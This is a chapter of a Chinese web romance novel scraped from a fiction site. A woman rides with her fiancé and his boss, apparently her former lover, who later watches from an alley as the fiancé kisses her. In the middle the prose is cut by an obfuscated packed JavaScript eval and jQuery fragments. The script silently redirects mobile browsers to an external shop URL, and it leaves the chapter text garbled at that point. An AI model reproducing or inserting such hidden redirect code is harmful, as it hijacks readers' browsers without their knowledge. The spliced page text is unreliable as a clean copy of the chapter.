文趣网 > 都市小说 > 大雾沉溺[破镜重圆] > 14. 喜欢失控
    温舜下意识挺直了脊背。

    “沈总,真巧。今天家宴,陪父母在这吃顿便饭。”他客气寒暄,余光扫过外面空荡荡的车道,“您这是……准备走?”

    “嗯。”沈介视线垂落,看了眼腕表。“司机高架上被追尾,堵着了。”

    话递到这,戛然而止。但温舜自然听得懂。

    “这地段晚上也堵、不好叫车。沈总要是不嫌弃……”他顺水推舟,“我送您一程,刚好顺路。”

    “方便么。”沈介抬起眼皮。视线越过温舜的肩,落在夏雾脸上。

    镜片泛着冷光,遮住了眼底的情绪:“别耽误了你和夏小姐的行程。”

    夏雾捏着手包的指节倏地泛白。转过头,看向长辈们。

    “妈。”她迎向夏伶,声音偏紧,都没察觉到语气里的祈求,“你车停在前面吗?我有点头疼,想跟你一起走。”

    夏伶正和温母热络道别,连余光都没分给她。

    “头疼回去睡一觉就好了。”语气还带着饭桌上的气,转脸又拉住温母的手,“亲家母,今天咱们就先这样。改天我组局,咱们听越剧去。”

    长辈们寒暄说笑,她插不进半句话。

    温舜走上前,虚揽住夏雾的后腰。“夏阿姨放心,雾雾交给我,肯定安全送到家。”

    掌心贴上来的瞬间,脊背骤僵。

    另一个男人的注视感正死死咬着她的后颈,逼得夏雾往旁边侧了半寸,躲开了温舜的手。

    手落了空。温舜眼底闪过一丝尴尬,见她脸色苍白如纸,只当是在长辈面前受了委屈。

    “雾雾。”他略微低头,压低的声音里透着紧绷,“刚才在桌上是我没护好你,别在这儿使性子。”

    停顿片刻,余光惶恐地扫过沈介,语气愈发低微,“沈总在看。算我求你,留点面子,好吗?”

    夜风穿堂而过。

    耳边是温舜压低的讨好,而几步之外的门口,是那个穿着黑大衣、冷眼旁观的男人。

    胃里那股绵密的痉挛变本加厉,绞得夏雾几乎站不稳。

    “我自己打车走。”她垂下眼睫,近乎机械地重复。

    逃开、随便、哪怕今晚在街头流浪,只要……

    温舜眉头锁紧,语气终于沉了三分:“雾雾,别闹。这种地方打车要等半小时,沈总还在等着,别让大家都下不来台。”

    “温总监。”一道低平的男声横插进来,掐断了解释。

    沈介站在门口,单手推了下银边眼镜。视线滑过夏雾发白的唇角,眸光沉静。

    “既然夏小姐觉得不方便,就算了。不要勉强。”他笑笑,转而看向温舜,“温总监陪未婚妻要紧,我自己叫车。”

    “没有,沈总,您误会了。”温舜立刻转身找补,笑意变得卑微且周全,再也没了刚才哄劝夏雾的耐心,“雾雾这是跟我闹小脾气呢。”

    说完,他强制性地捏了一下身侧人的胳膊示意,随后动作忙乱地从口袋里摸出车钥匙,在前方引路。

    “滴滴”两声,不远处的雷克萨斯车灯闪烁。

    走到车前,温舜握着主驾门把手,脚步明显迟疑。

    副驾留给谁?没等他在这场两难中理出头绪——

    “啪嗒。”后排车门被拉开。

    夏雾看都没看两人,“砰”地合拢车门,隔着深色车窗膜,靠在椅背上极力压抑着过速的呼吸。

    下一秒。副驾驶的车门被拉开,男人高大的身形带着外面的冷空气,从容不迫地压进车厢。

    温舜坐上主驾,他飞快扫了一眼后视镜,对上后面那张惨白如纸的脸,想安抚,却在沈介面前丧失了开口的勇气。

    只能清了清嗓子,维持住职场体面。

    “沈总,导航怎么设?”

    “建国西路。三十五弄。”

    闻言,打方向盘的手顿了一下。温舜诧异地笑了,“这么巧。那还真是顺路,雾雾的画室也在那片。”

    窗外流光飞掠,在银边镜片上划过一道冷锐白芒。他单手支着下颌,淡淡应了声:“是么。”

    遇上红灯,车厢里安静下来。温舜看着倒计时,顺势找了个话头:

    “沈总调来沪市,这边的气候还习惯吗?之前看您停在公司那辆是京牌,我还以为您会一直在总部坐镇。”

    “家里有些业务在这边,过来盯一阵。”沈介随口带过。视线从窗外收回,落向中控台,自然地将话题抛还给司机,“温总监平时就开这辆?没买辆电车?”

    “家里大人给买的,求个省心耐用。”温舜无奈笑笑,“真要自己挑,我也想弄台有劲的。沈总平时自己开什么?”

    “道奇。”

    温舜有些意外。旁边这位大老板西装革履、清冷端方,怎么看都不像会去驾驭那种狂暴的美式肌肉车。

    “这倒真看不出来。以您的气质,还以为私下会开保时捷或者迈巴赫,走稳重路线。”

    “保时捷太顺了,没劲。”沈介偏了下头,视线向上,定格在内后视镜里的某个点上。“我这人胃口重。比起听话的,更喜欢那种一身反骨、怎么都驯不服的。虽然费神,但那种下一秒就要失控的劲儿,别的车给不了。”

    温舜只当他在聊车,呵呵一笑,顺着老板的话头往下递:“那确实,底盘硬声浪大,开久了恐怕连心跳都快得受不了。”

    “嗯。”沈介从鼻腔里发出一声冷嗤,不置可否。“不过你这辆也不错啊,省油。适合家用。”

    夏雾的呼吸蓦地一滞。身子一点点偏过去,脸几乎贴上冰冷的车窗玻璃,试图缩成一团没有存在感的空气。

    不敢动、更不敢抬眼。

    可即便避开视线,她依然能清晰地感觉到,后视镜里那道目光正如刀刃般,寸寸刮过侧颈。

    前排,温舜浑然不觉。打了一把方向盘,汇入高架匝道,顺着“过日子”这个词接了下去:“确实。毕竟快成家了,选车就是图个安稳。”

    “看来,温总监好事将近了?”沈介喉结缓缓滚动。

    温舜握着方向盘,想起饭桌上的不欢而散。但在顶头上司面前,男人的自尊心作祟,还是给自己留了余地,“快了。不过还没完全定死。主要还是尊重她的意思,想慢慢来。”

    后视镜里,沈介忽闪了两下眼睫。

    “慢慢来。”舌尖卷过,他没再接话,话题就这么自然而然地断了。

    车厢内骤然陷入冗长、死寂的沉默。只剩转向灯偶尔发出的“嗒、嗒”声。

    二十多分钟后,轿车驶入建国西路。深秋的梧桐树被车灯照亮,枯瘦的枝影打在挡风玻璃上,凌乱、交错。

    “沈总,三十五弄到了。”温舜放慢车速,“前面路口给您靠边?”

    “就这儿吧。”车身在路肩停稳。

    “咔哒。”安全带解开。

    沈介推开车门,夜风卷着落叶的涩气瞬间倒灌进车厢。

    他站在车外,单手扶着车门。身形挺拔,西装一丝不苟。

    从始至终,视线都没往后排的暗处扫过哪怕半眼,只客气疏离地冲驾驶座微微颔首。

    “多谢。路上当心。”

    “砰。”车门合拢。

    车厢内那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507141|202291||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    股无形的重压瞬间泄空。温舜吁了口气,重新起步。

    “我开进弄堂,送你到楼下。”声音重归温和。

    夏雾陷在后排的阴影里,低低“嗯”了一声。

    车子沿着建国西路往前滑行,拐向弄堂口,刚一打转,却猛地踩了刹车。进不去,标线卡着也掉不了头。

    “堵死了。”温舜看了一眼路况,挂上倒挡,“我退出去绕一圈,走后门吧。”

    夏雾看着窗外倒退的红砖墙:“没关系,就停路边,我自己走进去。”

    “风太大了。不差这两脚油门。”轿车退回主干道,顺着单行线往前开。

    老法租界的路网像迷宫。连转了三个路口,卡了两次长红灯。

    近十分钟后。

    导航发出机械的女声:【已为您重新规划路线。】

    温舜看着前方的路牌,无奈地笑了一声。车头一转,顺着主路靠边停下。

    双闪灯按下。

    “嗒、嗒、嗒。”

    琥珀色的光影在幽暗的街道上规律地闪烁。

    向外看去,夏雾眼睫微顿。

    兜了一个大圈子,又回到了原点。这棵枯瘦的梧桐树下,正是十几分钟前,沈介下车的那个弄堂口。

    “单行道太多,绕回死胡同了。”熄火声落下。车门被从外面拉开,刚一弯腰迈出车厢,一件大衣便拢上了肩膀。

    立在车门边的人,没有立刻让开路。

    抬起下巴,示意了一下头顶路灯杆上的监控探头,“违停抓拍只有三分钟。我就占用你一小会儿。”

    双闪灯的微光在温舜脸上明灭交替,映得神色深浅难辨。

    “今天在包厢里,是我没处理好。”他看着她的眼睛,声音混在夜风里,诚恳又低微,“长辈提房子的时候,我应该替你把话挡回去,而不是顾忌面子和气氛,让你一个人在那儿受委屈。”

    风卷起几片梧桐落叶,在路肩上刮出沙沙的轻响。

    夏雾指尖微蜷,还未出声,身前人已跨前半步,不由分说地将她揽进怀里。

    男人的胸膛宽厚,挡去了大半冷风。

    “这段时间,是我太心急了。”下巴虚搁在她的发顶,“别生我气了,好吗?”

    她微张了张嘴,一句“没生气”刚到唇边。视线却越过对方肩膀,毫无防备地落向幽暗的弄堂口。

    声音瞬间卡死在了喉咙里。

    浓稠的阴影里,立着一个人。

    恰逢一辆轿车驶过主路,惨白车灯扫入窄巷,极快地折射出一抹镜片边缘的冷光。

    沈介没走。就站在离他们不到十米的死角里。

    夏雾呼吸瞬间停滞,血液一寸寸褪得干净。

    温舜察觉到怀里人的僵硬,稍稍松开手臂,退开半寸。

    “还有几十秒。”

    借着双闪的琥珀色微光,他看着近在咫尺的脸庞,喉结缓慢地滚了一下。“就一下,好吗?”

    倒计时的紧迫感成了越界的借口。那张脸压了下来,试探着触碰她微抿的唇。

    双闪灯“嗒、嗒”地跳动。

    温热触感落下的那一秒,指尖掐进了大衣面料里。

    想推开,可潜意识里的恐惧却像某种毒素,直接切断了神经末梢的控制权。

    对方闭着眼,吻得很轻,带着小心翼翼的克制与珍惜。

    而她,视线笔直地撞进前方那片死寂的黑暗中。

    双闪每亮起一次,那抹银边镜片上的冷光便清晰一分。

    十米之外。弄堂里的男人就这么安静地,看着别的男人亲吻她。